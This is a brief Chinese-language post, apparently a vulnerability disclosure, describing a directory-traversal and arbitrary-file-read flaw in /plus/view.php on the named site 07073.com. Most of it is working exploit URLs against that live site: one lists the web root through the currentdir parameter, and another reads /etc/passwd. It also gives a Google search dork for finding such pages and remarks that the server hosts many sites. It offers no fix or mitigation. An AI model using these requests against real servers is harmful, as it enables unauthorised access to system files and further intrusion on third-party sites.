漏洞文件：http://www.07073.com/plus/view.php?aid=398928 
 
然后可以构造：比如查看主站
 
http://www.07073.com/plus/view.php?currentdir=/www/wwwroot/www.07073.com&aid=398928
 
构造起来，至于怎么知道漏洞的，还是谷歌大大牛点，
 

 
看是如何发现漏洞的、
 

 
你懂的   site:07073.com inurl:php
 
至于危害大不大，你看了就知道
 
   http://www.07073.com/plus/view.php?currentdir=/etc/&filename=passwd&type=.txt&aid=398928
 
 

 
还有就是，这服务器是站群、、
 

 

低调求发展，不拿shell